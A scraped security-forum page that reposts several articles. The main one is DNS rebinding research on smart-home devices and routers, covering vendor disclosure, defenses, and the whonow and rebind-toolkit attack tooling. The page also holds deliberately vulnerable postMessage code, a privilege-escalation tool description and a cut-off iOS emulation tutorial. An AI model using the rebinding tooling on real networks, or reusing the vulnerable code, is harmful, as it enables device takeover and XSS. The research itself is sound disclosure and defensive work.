Iâve found and used against my Radio Thermostat CT50 âsmartâ thermostat. The implications and impact of an attack like this can have far reaching and devastating effects on devices or services running on a private network. By using a victimâs web browser as a sort of HTTP proxy, DNS rebinding attacks can bypass network firewalls and make every device on your protected intranet available to a remote attacker on the Internet. Whatâs Vulnerable? After finding and exploiting this vulnerability in the very first device that I poked around with, I feared that there were likely many other IoT devices that could also be targeted. I began to collect and borrow some of the more popular smart home devices on the market today. Over the next few weeks every device that I got my hands on fell victim to DNS rebinding in one way or another, leading to information being leaked, or in some cases, full device control. Google Home, Chromecast, Roku, Sonos WiFi speakers, and certain smart thermostats could all be interfaced with in some way by an unauthorized remote attacker. Seems like a big problem huh? The idea that the local network is a safe haven is a fallacy. If we continue to believe it people are going to get hurt. Iâve been in contact with the vendors of these products and all of them are working on or have already released security patches (more on that disclosure in this essay). Those are just the companies whose devices Iâve personally tested in my spare time. If companies with such high profiles are failing to prevent against DNS rebinding attacks there must be countless other vendors that are as well. Proof of concept DNS rebinding attack @ http://rebind.network Iâve authored a proof-of-concept exploit that you can use to target these devices on your home network today. That demo is live at http://rebind.network. Google Home Google Home Mini The apps used to control Google Home products make use of an undocumented REST API running on port 8008 of these devices (e.g. http://192.168.1.208:8008). The first mention of this service that Iâve been able to find surfaced back in 2013 when Brandon Fiquett wrote about a Local API he found while sniffing the WiFi traffic to his Chromecast. Fast forward five years and it seems that Google has integrated that same mysterious API into all of its Google Home products, and as you can imagine, that undocumented API is fairly well documented by amateurs and hobbyists at this point. In fact, earlier this year Rithvik Vibhu published detailed API docs to the public. This API provides extensive device control without any form of authentication. Some of the most interesting features include the ability to launch entertainment apps and play content, scan and join nearby WiFi networks, reboot, and even factory reset the device. Imagine a scenario where youâre browsing the web and all of a sudden your Google Home factory resets. What if your roommate left their web browser open on their laptop and an HTML advertisement sends your Chromecast into reboot loops while you are trying to watch a movie? One of my favorite attack scenarios targeting this API is an abuse of the WiFi scanning capability. Attackers could pair this information with publicly accessible wardriving data and get accurate geolocation using only your list of nearby WiFi networks. This attack would be successful even if youâve disabled your web browserâs geolocation API and are using a VPN to tunnel your traffic through another country. Here is an example of some of the data that Iâve exfiltrated from my own Chromecast. Can you figure out where I might be writing this post from? UPDATE (06/19/2018): Craig Young's simultaneous and independent research on this vulnerability was disclosed yesterday, just ahead of this post. He actually created a PoC for the geolocation attack scenario that I described above, but never implemented! His work, and Brian Kreb's commentary on it are both excellent đđđ. I notified Google about this vulnerability when I discovered it in March and again in April after receiving no response. According to Kreb's post, Young reported the bug to Google in May and his ticket was closed with "Status: Wonât Fix (Intended Behavior)." It wasn't until Krebs himself contacted Google that they agreed to patch the vulnerability. Google is expected to release a patch in mid-July 2018. Sonos WiFi Speakers Sonos Play:1 Like Google Home, Sonos WiFi speakers can also be controlled by a remote attacker (CVE-2018â11316). By following the wrong link you could find your pleasant evening jazz play list interrupted by content of a very different sort. Thatâs fun for simple pranks, but ultimately pretty harmless, right? After a bit of digging I found a few other interesting links to be followed on the Sonos UPnP web server that might not be so innocent. It appears that several hidden web pages are accessible on the device for debugging purposes. http://192.168.1.76:1400/support/review serves an XML file that appears to contain the output of several Unix commands run on the Sonos device (which itself seems to run a distribution of Linux). http://192.168.1.76:1400/tools provides a bare bones HTML form that lets you run a few of these Unix commands on the Sonos device yourself! The Sonos HTTP API allows a remote attacker to map internal and external networks using the traceroute command and probe hosts with ICMP requests with ping using simple POST requests. An attacker could use a Sonos device as a pivot point to gather useful network topology and connectivity information to be used in a follow up attack. UPDATE (06/19/2018): Sonos has published a statement along with this public release; "Upon learning about the DNS Rebinding Attack, we immediately began work on a fix that will roll out in a July software update." Roku RokuTV While exploring the network in the lounge at my work building, I found an HTTP server running on port 8060 of a RokuTV. I soon found that Rokuâs External Control API provides control over basic functionality of the device, like launching apps, searching, and playing content. Interestingly, it also allows direct control over button and key presses like a virtual remote, as well as input for several sensors including an accelerometer, orientation sensor, gyroscope and even a magnetometer (why?) As youâve probably guessed, this local API requires no authentication and can be exploited via DNS rebinding (CVE-2018â11314). I reported these findings to the Roku security team, who initially responded saying: There is no security risk to our customersâ accounts or the Roku platform with the use of this API⊠We are aware of web apps like http://remoku.tv that can be loaded into a browser and used to interact with the Roku on the same local network. After describing a detailed attack scenario, a security VP at the company clarified that their team does âconsider this a valid threat and it is not mundane in the least.â To the teamâs credit, they immediately halted the release roll out of Roku OS 8.1 and began to develop a patch, which they expected could take as long as 3â4 months if they couldnât find a solution that worked in time for their upcoming release. After some consideration, I informed the team that I was working with a reporter at WIRED and that we were likely going to publish the research quickly. The next morning I received an email from the team that a patch had been developed and was already in the process of being pushed to over 20 million devices through a firmware update! UPDATE (06/19/2018): Roku has released a statement along with this public release; âAfter recently becoming aware of the DNS Rebinding issue, we created a software patch which is now rolling out to customers. Note that any potential exploitation of this vulnerability poses no security risk to our customersâ accounts, our channel partnersâ content security or the Roku platform.â Radio Thermostat Radio Thermostat CT50 The Radio Thermostat CT50 & CT80 devices have by far the most consequential IoT device vulnerabilities Iâve found so far. These devices are some of the cheapest âsmartâ thermostats available on the market today. I purchased one to play with after being tipped off to their lack of security by CVE-2013â4860, which reported that the device had no form of authentication and could be controlled by anyone on the network. Daniel Crowley of Trustwave SpiderLabs had attempted to contact the vendor several times before ultimately publishing the vulnerability after hearing no response from the company. Unfortunately, this lack of response is a recurring theme of vulnerability disclosure over the years, especially with smaller manufacturers. I expected that the chances that the vulnerability had gone unpatched for five years was actually high, so I purchased a brand new CT50. That assumption turned out to be correct and the thermostatâs control API left the door wide open for DNS rebinding shenanigans. Itâs probably pretty obvious the kind of damage that can be done if your buildingâs thermostat can be controlled by remote attackers. The PoC at http://rebind.network exfiltrates some basic information from the thermostat before setting the target temperature to 95° F. That temperature can be dangerous, or even deadly in the summer months to an elderly or disabled occupant. Not to mention that if your device is targeted while youâre on vacation you could return home to a whopper of a utility bill. The severity of this vulnerability, and the continued negligence by the Radio Thermostat Company of America whoâve had years to fix it, are perfect examples of why we need security regulation for IoT devices. WiFi Routers If youâve been following all of this so far you may have already started to think of other devices on home networks that could be targeted. Would it surprise you to learn that, historically, network routers themselves are some of the most common targets to DNS rebinding attacks? Probably not. Thatâs because network routers hold the keys to the kingdom. Own the router and you own the network. There are two common attack vectors that Iâve seen with DNS rebinding: POSTing default credentials to a login page like http://192.168.1.1/loginto own router admin. Once the attacker has authenticated they have full device control and can configure the network as they please. Using a routerâs Internet Gateway Device (IGD) interface through UPnP to configure permanent port forwarding connections and expose arbitrary UDP & TCP ports on the network to the public Internet. The first is pretty basic. Many routers ship with default login credentials and consumers never change them. Sure, maybe they will enable WPA2 and set a WiFi password, but I bet many of them donât realize their routerâs configuration panel is still accessible to anyone on the network using âadmin:adminâ. The second attack is even worse, a downright travesty. Somehow, in this day and age, most brand-spanking-new home routers still ship with UPnP servers enabled by default. These UPnP servers provide admin-like control over router configuration to any unauthenticated machine on the network over HTTP. Any machine on the network, or the public Internet through DNS rebinding, can use IGD/UPnP to configure a routerâs DNS server, add & remove NAT and WAN port mappings, view the # of bytes sent/received on the network, and access the routerâs public IP address (check out upnp-hacks.org for more info). A DNS rebinding attack that targets a routerâs UPnP server can punch a hole in the victimâs firewall, leaving a permanent entry point to execute raw TCP & UDP attacks against devices on the network without being bound to the normal HTTP-only limitations of DNS rebinding attacks. They can even configure port forwarding rules that forward traffic to external IP addresses on the Internet, allowing an attacker to add a victimâs router as a node in a large network of infected routers that can be used to mask their traffic from authorities (see Akamaiâs recent UPnProxy research). IGD also provides an interface to discover a routerâs public IP address through a simple unauthenticated HTTP request. This functionality, combined with DNS rebinding, can be used to de-anonymize users who are otherwise attempting to mask their public IP address through a VPN or by using TOR. In my experience router vulnerability to DNS rebinding is a mixed bag. Iâve seen routers that completely block DNS rebinding attacks, routers that randomize their UPnP server port to make discovery and attack more difficult, and Iâve seen routers that are completely wide-open to the attack. I should mention though that Iâve largely stayed away from applying my DNS rebinding research to routers so far... Mostly because Iâm almost too afraid to look đš. The Walled Garden Is a Lie How is it that so many devices today could be vulnerable to an attack that was introduced over ten years ago? There are likely more reasons for this than I can explain, but Iâm willing to bet money on two of them. The first is awareness. Best I can tell, DNS rebinding isnât as popular of an attack as it should be. Sure, security nerds may have heard of it but Iâd wager that very few of them have actually ever tried it. Itâs historically been a sort of cumbersome and difficult to pull off attack in practice. You have to spin up a malicious DNS server in the cloud, write some custom JavaScript payload targeting a specific service, serve that to a victim on a target network, and then figure out how to use their web browser to pivot to a target machine running that service, which you probably donât know the IP address of. Thereâs overhead and itâs error prone. (Iâve written some tooling to ease some of that pain. More belowâŠ) We need developers to write software that treats local private networks as if they were hostile public networks. Even if DNS rebinding becomes more popular in cybersecurity communities, that isnât a guarantee that weâll see a large drop in the number of vulnerable devices. Thatâs because security nerds arenât the ones implementing these APIs, web developers are. Sure web developers should know that externally facing API endpoints need authorization of some kind, but there is a recurring general consensus that private networks themselves can be used to secure intranet facing APIs. Local APIs consistently offload trust and security to the private network itself. Why would your local REST API need authorization if your router has it? Entire protocols like UPnP are built around the idea that devices on the same network can trust each other. This is the root of the problem. We need developers to write software that treats local private networks as if they were hostile public networks. The idea that the local network is a safe haven is a fallacy. If we continue to believe it people are going to get hurt. Protecting against DNS Rebinding Consumers As the user of a product or service you are often at the mercy of the the people who built it. Fortunately, in the case of DNS rebinding, you have some control over protecting your network so long as you can make changes to your routerâs configuration. OpenDNS Home is a free DNS service that can be configured to filter suspicious IP addresses like private IP ranges out of DNS responses. You should be able to change the DNS server your router uses from the default ISPâs DNS server to one of OpenDNS Homeâs DNS servers in your router settings. If youâd prefer to control this filtering on your router itself instead of trusting a public DNS server like OpenDNS to do it, you can use Dnsmasq or opt to install libre router firmware like DD-RT on the router itself. Either of these solutions are adequate if you have control over your router, but watch out, because you may still be a target of DNS rebinding attacks whenever you are on a network that hasnât been explicitly configured to protect against them. Developers If youâre a developer, or are involved in creating a product that has an HTTP API, there are several things you can do to protect it from DNS rebinding attacks. There are three simple solutions to choose from. The first, and simplest to implement without side-effects to your existing system, is to add âHostâ header validation to your HTTP server. This header is included in all HTTP requests sent from a modern browser and it contains the host (hostname:port) of the server it is expecting to communicate with. This value can be a domain name or an IP address, but either way, the server that receives the request should validate that itâs own host matches the host being requested. Because DNS rebinding relies on the change of an underlying IP address associated with a domain name, the Host header included in a malicious HTTP request thatâs been rebound to a target service will maintain the original domain name as its Host header value. A malicious POST request to your routerâs login page will have a Host header value that doesnât match your routerâs hostname or IP address on the network. It would instead look like Host: malicious.website. Web servers should validate that the requested Host header matches itâs expected value exactly and respond with a 403 Forbidden HTTP status code if it doesnât. Iâve written an NPM module that does this for Express.js web servers, but it should be pretty easy to implement in any web server or language. Another effective method of spoiling DNS rebinding attacks is to use HTTPS instead of HTTP, even for local network connections. When rebinding occurs, the service being targeted will have an SSL certificate that isnât valid for malicious.website and so a security warning will block the request from reaching your API endpoint. This solution has the added bonus of providing extra privacy and security for your users in general with the usual benefits that come with TLS/SSL. Vendors have historically shied away from shipping IoT devices with their own TLS/SSL certificates, but the Plex media server software has tackled this problem in an interesting way by actually using DNS rebinding to issue certificates and protect their customers! Probably the best solution, albeit the one that involves the most potential disruption to your existing service, is to add some form of user authentication to your API. If your API controls real world functionality or provides access to sensitive information it should be accessible to select parties only. Period. It should not be accessible to the entire private network and therefore the public Internet as well through DNS rebinding. There is absolutely no reason that any device on the WiFi network should be able to arbitrarily control the heat in a building. People forget how easy it is to crack WPA2 WiFi. Tooling & Details To help spread awareness of DNS rebinding attacks Iâve built tooling and libraries that others can use to author their own DNS rebinding attacks. Aside from the JavaScript payload written to target a specific device or service, the process of delivering that payload, interacting with the malicious DNS server, and enumerating hosts on the victimâs private network is pretty much the same between different attack targets. To lower the barrier to entry to learn about and perform DNS rebinding attacks, Iâve open sourced: A âmaliciousâ DNS server called whonow A front-end JavaScript library called DNS rebind toolkit Whonow DNS Server Whonow is a custom DNS server that lets you specify DNS responses and rebind rules dynamically using domain requests themselves. Hereâs an example of how it works: # respond to DNS queries for this domain with 34.192.228.43 the first # time it is requested and then 192.168.1.1 every time after that. A.34.192.228.43.1time.192.168.1.1.forever.rebind.network # respond first with 34.192.228.43, then 192.168.1.1 the next five # times, and then start all over again (1, then 5, foreverâŠ) A.34.192.228.43.1time.192.168.1.1.5times.repeat.rebind.network Whatâs great about dynamic DNS Rebinding rules is that you donât have to spin up your own malicious DNS server to start exploiting the browserâs same-origin policy. Instead, everyone can share the same public whonow server running on port 53 of rebind.network. You can try it now if youâd like, just use dig to query the public whonow instance. It responds to requests for *rebind.network domain names. # dig is a unix command for making DNS requests dig A.10.10.10.50.forever.rebind.network ;; QUESTION SECTION: ;10.10.10.50.forever.rebind.network. IN A ;; ANSWER SECTION: 10.10.10.50.forever.rebind.network. 1 IN A 10.10.10.50 Whonow always sets TTL values to one second so you can expect that itâs responses wonât stay in a DNS resolverâs cache for long. Whonow public server output DNS Rebind Toolkit DNS Rebind Toolkit is a utility library that automates the process of executing DNS rebinding attacks. Once youâve written a JavaScript payload to target a specific service, DNS Rebind Toolkit can help you deploy that attack on a victimâs network. It uses a WebRTC IP address leak to discover the victimâs local IP address. It automates network subnet enumeration so that you can target devices even if you donât know their IP addresses on the private network. It automates the DNS rebinding portion of the attack. You get a Promise that resolves once the rebind has finished. It uses whonow behind the scenes so that you donât have to worry about the DNS server component of a DNS rebinding attack. It comes with several payloads for attacking common IoT devices and well-documented examples so that you learn to write your own exploits. Launching an attack against a Google Home device on a 192.168.1.1/24 subnet is as easy as embedding a code snippet in and index.html page. That index.html file will launch the attack, spawning one iframe for each IP address in the array passed to rebind.attack(âŠ). Each iframe embeds payloads/google-home.html with the following JavaScript snippet: đđ Links & Thanks đ Thanks to Lily Hay Newman for three months of helpful conversations leading towards her coverage of this research in WIRED. Mega-thanks to William Robertson for his help with this work, especially for letting me pwn his home network + Sonos device đ€. Iâd also like to thank the security teams at both Roku and Sonos for their swift response in developing and deploying firmware updates to protect their users against DNS rebinding attacks. Below are a collection of DNS rebinding resources Iâve found useful in my research. You might too! Stanfordâs Original DNS Rebinding Research (2007) DNS Rebinding with Robert RSnake Hansen (great video) CORS, the Frontendian Luke Youngâs DEFCON 25 âAchieving Reliable DNS Rebindingâ Ricky Lawshaeâs DEFCON 19 SOAP & UPnP Talk UPnP Hacks website Dear developers, beware of DNS Rebinding Practical Attacks with DNS Rebinding Original Blizzard Gameâs DNS rebinding bug report by Tavis Ormandy DNS Security Cybersecurity Hacking Vulnerability Like what you read? Give Brannon Dorsey a round of applause. From a quick cheer to a standing ovation, clap to show how much you enjoyed this story. Brannon Dorsey Artist | Programmer | Researcher Sursa: https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325
-
The pitfalls of postMessage December 8, 2016 The postMessage API is an alternative to JSONP, XHR with CORS headers and other methods enabling sending data between origins. It was introduced with HTML5 and like many other cross-document features it can be a source of client-side vulnerabilities. How it works To send a message, an application simply calls the "postMessage" function on the target window it would like to send the message to: targetWindow.postMessage("hello other document!", "*"); And to receive a message, a âmessageâ event handler can be registered on the receiving end: window.addEventListener("message", function(message){console.log(message.data)}); Pitfall 1 The first pitfall lies in the second argument of the âpostMessageâ function. This argument specifies which origin is allowed to receive the message. Using the wildcard â*â means that any origin is allowed to receive the message. Since the target window is located at a different origin, there is no way for the sender window to know if the target window is at the target origin when sending the message. If the target window has been navigated to another origin, the other origin would receive the data. Pitfall 2 The second pitfall lies on the receiving end. Since the listener listens for any message, an attacker could trick the application by sending a message from the attackerâs origin, which would make the receiver think it received the message from the senderâs window. To avoid this, the receiver must validate the origin of the message with the âmessage.originâ attribute. If regex is used to validate the origin, itâs important to escape the â.â character, since this code: //Listener on http://www.examplereceiver.com/ window.addEventListener("message", function(message){ if(/^http://www.examplesender.com$/.test(message.origin)){ console.log(message.data); } }); Would not only allow messages from âwww.examplesender.comâ, but also âwwwaexamplesender.comâ, âwwwbexamplesender.comâ etc. Pitfall 3 The third pitfall is DOM XSS by using the message in a way that the application treats it as HTML/script, for example: //Listener on http://www.examplereceiver.com/ window.addEventListener("message", function(message){ if(/^http://www\.examplesender\.com$/.test(message.origin)){ document.getElementById("message").innerHTML = message.data; } }); DOM XSS isnât postMessage specific, but itâs something thatâs present in many postMessage implementations. One reason for this could be that the receiving application expects the data to be formatted correctly, since itâs only listening for messages from http://www.examplesender.com/. But what if an attacker finds an XSS bug on http://www.examplesender.com/? That would mean that they could XSS http://www.examplereceiver.com/ as well. Not using postMessage? You might be thinking âour application doesnât use postMessage so these issues doesnât apply to usâ. Well, a lot of third party scripts use postMessage to communicate with the third party service, so your application might be using postMessage without your knowledge. You can check if a page has a registered message listener (and which script registered it) by using Chrome Devtools, under Sources -> Global Listeners: Some third party scripts fall into these pitfalls. In the next post I will describe a postMessage vulnerability that caused XSS on over a million websites, and the technique I used to find it. References https://seclab.stanford.edu/websec/frames/post-message.pdf https://www.w3.org/TR/webmessaging/ http://caniuse.com/#feat=x-doc-messaging Author: Mathias Karlsson Security Researcher @avlidienbrunn Sursa: https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/
-
- 1
-
-
Am vorbit cu cel care a facut plugin-ul, i-a facut update si l-am activat. Se mai poate reproduce?
-
BeRoot Project BeRoot Project is a post exploitation tool to check common misconfigurations to find a way to escalate our privilege. It has been added to the pupy project as a post exploitation module (so it will be executed in memory without touching the disk). This tool does not realize any exploitation. It mains goal is not to realize a configuration assessment of the host (listing all services, all processes, all network connection, etc.) but to print only information that have been found as potential way to escalate our privilege. This project works on Windows, Linux and Mac OS. You could find the Windows version here and the Linux and Mac OS here I recommend reading the README depending on the targeted OS, to better understand what's happening. I tried to implement most technics described in this picture: Enjoy Interesting projects Windows / Linux Local Privilege Escalation Workshop Linux tools Windows tools Sursa: https://github.com/AlessandroZ/BeRoot
-
awesome-windows-kernel-security-development â€ïž windows kernel driver with c++ runtime https://github.com/wjcsharp/Common https://github.com/ExpLife/DriverSTL https://github.com/sysprogs/BazisLib https://github.com/AmrThabet/winSRDF https://github.com/sidyhe/dxx https://github.com/zer0mem/libc https://github.com/eladraz/XDK https://github.com/vic4key/Cat-Driver https://github.com/AndrewGaspar/km-stl https://github.com/zer0mem/KernelProject https://github.com/zer0mem/miniCommon https://github.com/jackqk/mystudy https://github.com/yogendersolanki91/Kernel-Driver-Example Full list: https://github.com/ExpLife0011/awesome-windows-kernel-security-development
-
Tutorial - emulate an iOS kernel in QEMU up to launchd and userspace Jul 21, 2018 I got launchd and recoveryd to start on an emulated iPhone running iOS 12 beta 4âs kernel using a modified QEMU. Hereâs what I learned, and how you can try this yourself. Introduction This is Part 2 of a series on the iOS boot process. Part 1 is here. Sign up with your email to be the first to read new posts. skip to: tutorial, writeup First, let me repeat: this is completely useless unless youâre really interested in iOS internals. If you want to run iOS, you should ask @CorelliumHQ instead, or just buy an iPhone. Iâve been interested in how iOS starts, so Iâve been trying to boot the iOS kernel in QEMU. I was inspired by @cmwdotmeâs Corellium, a service which can boot any iOS in a virtual machine. Since I donât have 9 years to build a perfect simulation of an iPhone, I decided to go for a less lofty goal: getting enough of iOS emulated until launchd, the first program to run when iOS boots, is able to start. Since last weekâs post, I got the iOS 12 beta 4 kernel to fully boot in QEMU, and even got it to run launchd and start recoveryd from the restore ramdisk. Hereâs the output from the virtual serial port: iBoot version: corecrypto_kext_start called FIPSPOST_KEXT [64144875] fipspost_post:156: PASSED: (4 ms) - fipspost_post_integrity FIPSPOST_KEXT [64366750] fipspost_post:162: PASSED: (1 ms) - fipspost_post_hmac FIPSPOST_KEXT [64504187] fipspost_post:163: PASSED: (0 ms) - fipspost_post_aes_ecb FIPSPOST_KEXT [64659750] fipspost_post:164: PASSED: (0 ms) - fipspost_post_aes_cbc FIPSPOST_KEXT [72129500] fipspost_post:165: PASSED: (117 ms) - fipspost_post_rsa_sig FIPSPOST_KEXT [76481625] fipspost_post:166: PASSED: (67 ms) - fipspost_post_ecdsa FIPSPOST_KEXT [77264187] fipspost_post:167: PASSED: (11 ms) - fipspost_post_ecdh FIPSPOST_KEXT [77397875] fipspost_post:168: PASSED: (0 ms) - fipspost_post_drbg_ctr FIPSPOST_KEXT [77595812] fipspost_post:169: PASSED: (1 ms) - fipspost_post_aes_ccm FIPSPOST_KEXT [77765500] fipspost_post:171: PASSED: (1 ms) - fipspost_post_aes_gcm FIPSPOST_KEXT [77941875] fipspost_post:172: PASSED: (1 ms) - fipspost_post_aes_xts FIPSPOST_KEXT [78176875] fipspost_post:173: PASSED: (1 ms) - fipspost_post_tdes_cbc FIPSPOST_KEXT [78338625] fipspost_post:174: PASSED: (1 ms) - fipspost_post_drbg_hmac FIPSPOST_KEXT [78460125] fipspost_post:197: all tests PASSED (233 ms) AUC[<ptr>]::init(<ptr>) AUC[<ptr>]::probe(<ptr>, <ptr>) Darwin Image4 Validation Extension Version 1.0.0: Mon Jul 9 21:36:59 PDT 2018; root:AppleImage4-1.200.16~357/AppleImage4/RELEASE_ARM64 AppleCredentialManager: init: called, instance = <ptr>. ACMRM: init: called, ACMDRM_ENABLED=YES, ACMDRM_STATE_PUBLISHING_ENABLED=YES, ACMDRM_KEYBAG_OBSERVING_ENABLED=YES. ACMRM: _loadRestrictedModeForceEnable: restricted mode force-enabled = 0 . ACMRM-A: init: called, . ACMRM-A: _loadAnalyticsCollectionPeriod: analytics collection period = 86400 . ACMRM: _getDefaultStandardModeTimeout: default standard mode timeout = 604800 . ACMRM: _loadStandardModeTimeout: standard mode timeout = 604800 . ACMRM-A: notifyStandardModeTimeoutChanged: called, value = 604800 (modified = YES). ACMRM: _loadGracePeriodTimeout: device lock timeout = 3600 . ACMRM-A: notifyGracePeriodTimeoutChanged: called, value = 3600 (modified = YES). AppleCredentialManager: init: returning, result = true, instance = <ptr>. AUC[<ptr>]::start(<ptr>) AppleKeyStore starting (BUILT: Jul 9 2018 21:51:06) AppleSEPKeyStore::start: _sep_enabled = 1 AppleCredentialManager: start: called, instance = <ptr>. AppleCredentialManager: start: initializing power management, instance = <ptr>. AppleCredentialManager: start: started, instance = <ptr>. AppleCredentialManager: start: returning, result = true, instance = <ptr>. AppleARMPE::getGMTTimeOfDay can not provide time of day: RTC did not show up : apfs_module_start:1277: load: com.apple.filesystems.apfs, v748.200.53, 748.200.53.0.1, 2018/07/09 com.apple.AppleFSCompressionTypeZlib kmod start IOSurfaceRoot::installMemoryRegions() IOSurface disallowing global lookups apfs_sysctl_register:818: done registering sysctls. com.apple.AppleFSCompressionTypeZlib load succeeded L2TP domain init L2TP domain init complete PPTP domain init BSD root: md0, major 2, minor 0 apfs_vfsop_mountroot:1468: apfs: mountroot called! apfs_vfsop_mount:1231: unable to root from devvp <ptr> (root_device): 2 apfs_vfsop_mountroot:1472: apfs: mountroot failed, error: 2 hfs: mounted PeaceSeed16A5327f.arm64UpdateRamDisk on device b(2, 0) : : Darwin Bootstrapper Version 6.0.0: Mon Jul 9 00:39:56 PDT 2018; root:libxpc_executables-1336.200.86~25/launchd/RELEASE_ARM64 boot-args = debug=0x8 kextlog=0xfff cpus=1 rd=md0 Thu Jan 1 00:00:05 1970 localhost com.apple.xpc.launchd[1] <Notice>: Restore environment starting. If you would like to examine iOSâs boot process yourself, hereâs how you can try it out. Building QEMU The emulation uses a patched copy of QEMU, which must be compiled from source. Install dependencies To compile QEMU, you first need to install some libraries. macOS: According to the QEMU wiki and the Homebrew recipe, you need to install Xcode and Homebrew, then run brew install pkg-config libtool jpeg glib pixman to install the required libraries to compile QEMU. Ubuntu 18.04: According to the QEMU wiki, run sudo apt install libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libsdl1.2-dev to install the required libraries to compile QEMU. Windows: QEMU can be built on Windows, but their instructions doesnât seem to work for this modified QEMU. Please build on macOS or Linux instead. You can set up a virtual machine running Ubuntu 18.04 with Virtualbox or VMWare Player. Download and build source Open a terminal, and run git clone https://github.com/zhuowei/qemu.git cd qemu git submodule init git submodule update mkdir build-aarch64 cd build-aarch64 ../configure --target-list=aarch64-softmmu make -j4 Preparing iOS files for QEMU Once QEMU is compiled, you need to obtain the required iOS kernelcache, device tree, and ramdisk. If you donât want to extract these files yourself, I packaged all the files you need from iOS 12 beta 4. You can download this archive if you sign up for my mailing list. If you want to extract your own files directly from an iOS update, hereâs how: 1. Download the required files: Download my XNUQEMUScripts repository: git clone https://github.com/zhuowei/XNUQEMUScripts.git cd XNUQEMUScripts Download the iOS 12 beta 4 for iPhone X. To decompress the kernel, download newosxbookâs Joker tool. 2. Extract the kernel using Joker: ./joker.universal -dec ~/path/to/iphonex12b4/kernelcache.release.iphone10b mv /tmp/kernel kcache_out.bin replace joker.universal with joker.ELF64 if you are using Linux. 3. extract the ramdisk: dd if=~/path/to/iphonex12b4/048-22007-059.dmg bs=27 skip=1 of=ramdisk.dmg 4. Modify the devicetree.dtb file: python3 modifydevicetree.py ~/Path/To/iphonex12b4/Firmware/all_flash/DeviceTree.d22ap.im4p devicetree.dtb Installing a debugger You will also need lldb or gdb for arm64 installed. macOS The version of lldb included in Xcode 9.3 should work. (Later versions should also work.) You donât need to install anything in this step. Ubuntu 18.04 I canât find an LLDB compatible with ARM64: neither the LLDB from the Ubuntu repository nor the version from LLVMâs own repos support ARM64. (Someone please build one!) Instead, you can use GDB on Linux. Two versions of GDB can be used: the version from devkitA64, or the Linaro GDB (recommended). Enter your xnuqemu directory (from the downloaded package or from the clone of the XNUQEMUScripts repo) Run ./linux_installgdb.sh to download the Linaro GDB. Running QEMU Place your qemu directory into the same directory as the scripts, kernel, devicetree, and ramdisk. You should have these files: ~/xnuqemu_dist$ ls README.md lldbit.sh devicetree.dtb lldbscript.lldb devicetreefromim4p.py modifydevicetree.py fixbootdelay_lldbscript_doc.txt qemu gdbit.sh ramdisk.dmg gdbscript.gdb readdevicetree.py kcache_out.bin runqemu.sh linux_installgdb.sh windows_installgdb.sh ./runqemu.sh to start QEMU. $ ./runqemu.sh QEMU 2.12.90 monitor - type 'help' for more information (qemu) xnu in a different terminal, ./lldbit.sh to start lldb, or if youâre using Linux, ./gdbit.sh to start gdb. $ ./lldbit.sh (lldb) target create "kcache_out.bin" Current executable set to 'kcache_out.bin' (arm64). (lldb) process connect --plugin gdb-remote connect://127.0.0.1:1234 (lldb) command source -s 0 'lldbscript.lldb' Executing commands in 'lldbscript.lldb'. (lldb) b *0xFFFFFFF007433BE8 Breakpoint 1: address = 0xfffffff007433be8 (lldb) breakpoint command add Enter your debugger command(s). Type 'DONE' to end. (lldb) b *0xFFFFFFF005FA5D84 Breakpoint 2: address = 0xfffffff005fa5d84 (lldb) breakpoint command add Enter your debugger command(s). Type 'DONE' to end. (lldb) b *0xfffffff00743e434 Breakpoint 3: address = 0xfffffff00743e434 (lldb) breakpoint command add Enter your debugger command(s). Type 'DONE' to end. (lldb) b *0xfffffff00743e834 Breakpoint 4: address = 0xfffffff00743e834 (lldb) Type c into lldb or gdb to start execution. In the terminal running QEMU, you should see boot messages. Congratulations, youâve just ran a tiny bit of iOS with a virtual iPhone! Or as UnthreadedJB would say, â#we r of #fakr!â What works Booting XNU all the way to running userspace programs Console output from virtual serial port What doesnât work Wi-Fi Bluetooth USB Screen Internal storage Everything except the serial port You tell me Seriously, though, this only runs a tiny bit of iOS, and is nowhere close to iOS emulation. To borrow a simile from the creator of Corellium, if Corellium is a DeLorean time machine, then this is half a wheel at most. This experiment only finished the easy part of booting iOS, as it doesnât emulate an iPhone at all, relying on only the parts common to all ARM devices. No drivers are loaded whatsoever, so thereâs no emulation of the screen, the USB, the internal storage⊠You name it: it doesnât work. For full iOS emulation, the next step would be reverse engineering the iPhoneâs SoC to find out how its peripherals work. Unfortunately, thatâs a 9-year project, as shown by the development history of Corellium. I canât do that on my own - thatâs why I wrote this tutorial! Itâs my hope that this work inspires others to look into proper iOS emulation - from what Iâve seen, itâll be a great learning experience. How I did this Last week, I started modifying QEMU to load an iOS kernel and device tree: the previous writeup is here. Hereâs how I got from crashing when loading kernel modules to fully booting the kernel. Tweaking CPU emulation, part 3: Interrupting cow When we left off, the kernel crashed with a data abort when it tries to bzero a write only region of memory. Why? To confirm that itâs indeed writing to read-only memory, I implemented a command to dump out the kernel memory mappings, and enabled QEMUâs verbose MMU logging to detect changes to the memory map. I tracked down the crashing code to OSKext::updateLoadedKextSummaries. After every kext load, this code resets the kext summaries region to writable with vm_map_protect, writes information for the new kext, then sets the region back to read-only. The logs show that the call to protect the region modifies the memory mappings, but the call to reset it to read-write doesnât do anything. Why isnât it setting the page to writable? According to comments in vm_map_protect, it turns out that readonly->readwrite calls actually donât change the protection immediately, but only sets it on-demand when a program tries - and fails - to write to the page. This is to implement copy on write. So, it seems the data abort exception is supposed to happen, but the panic is not. In the data abort exception, the page should be set to writable in arm_fast_fault. The code in open-source XNU can only return KERN_FAILURE or KERN_SUCCESS, but with a breakpoint, I saw it was returning KERN_PROTECTION_FAILURE. I checked the disassembly: yes, thereâs extra code (0xFFFFFFF0071F953C in iOS 12 beta 4) returning KERN_PROTECTION_FAILURE if the page address doesnât match one of the new KTRR registers added on the A11 processor . I had been ignoring all writes to KTRR registers, so this code canât read the value from the register (which the kernel stored at startup), and believes that all addresses are invalid. Thus, instead of setting the page to writable, the kernel panics instead. I fixed this by adding these registers to QEMUâs virtual CPU, allowing the kernel to read and write them. After this change, a few more kexts started up, but the kernel then hangs⊠like itâs waiting for something. Connecting the timer interrupt My hunch for why the kernel hangs: one of the kexts tries to sleep for some time during initialization, but never wakes up because there are no timer interrupts, as shown by QEMU not logging any exceptions when it hangs. On ARM, there are two ways for hardware to signal the CPU: IRQ, shared by many devices, or FIQ, dedicated to just one device. QEMUâs virt machine hooks up the processorâs timer to IRQ, like most real ARM platforms. FIQ is 